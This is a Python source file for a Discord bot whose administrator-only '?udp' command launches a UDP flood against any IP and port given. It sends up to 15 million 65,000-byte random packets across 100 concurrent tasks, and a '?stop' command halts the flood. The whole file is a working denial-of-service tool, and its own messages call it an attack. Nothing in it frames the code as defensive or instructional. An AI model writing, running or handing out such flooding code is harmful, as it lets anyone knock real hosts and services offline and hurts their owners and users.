import discord from discord.ext import commands import random import string import socket import threading import time import sys import asyncio import aiohttp intents = discord.Intents.default() intents.message_content = True bot = commands.Bot(command_prefix='?', intents=intents) tasks_by_guild = {} @bot.event async def on_ready(): print(f'We have logged in as {bot.user}') async def send_udp_packets(ip: str, port: int, num_packets: int): try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setblocking(False) packet_size = 65000 bytes_ = random._urandom(packet_size) for _ in range(num_packets): sock.sendto(bytes_, (ip, port)) await asyncio.sleep(0) sock.close() except Exception as e: print(f"Error sending UDP packets: {e}") @bot.command(name='udp') @commands.has_permissions(administrator=True) async def udp(ctx, ip: str, port: int, num_packets: int = 15000000): try: await ctx.send(f'[ UDP ] Currently Flooding {ip} On {port}') print(f"{ctx.author} initiated a UDP attack on {ip}.") num_tasks = 100 packets_per_task = num_packets // num_tasks tasks = [send_udp_packets(ip, port, packets_per_task) for _ in range(num_tasks)] task_group = asyncio.gather(*tasks) tasks_by_guild[ctx.guild.id] = task_group await task_group except Exception as e: print(f"Error in UDP command: {e}") @bot.command(name='stop') @commands.has_permissions(administrator=True) async def stop(ctx): try: print(f"{ctx.author} stopped all attacks.") await ctx.send('[ STOP ] Stopping All Attacks...') task_group = tasks_by_guild.get(ctx.guild.id) if task_group: task_group.cancel() try: await task_group except asyncio.CancelledError: pass tasks_by_guild.pop(ctx.guild.id) # Remove the task group from the dictionary else: pass except Exception as e: print(f"Error stopping tasks: {e}") bot.run('your token')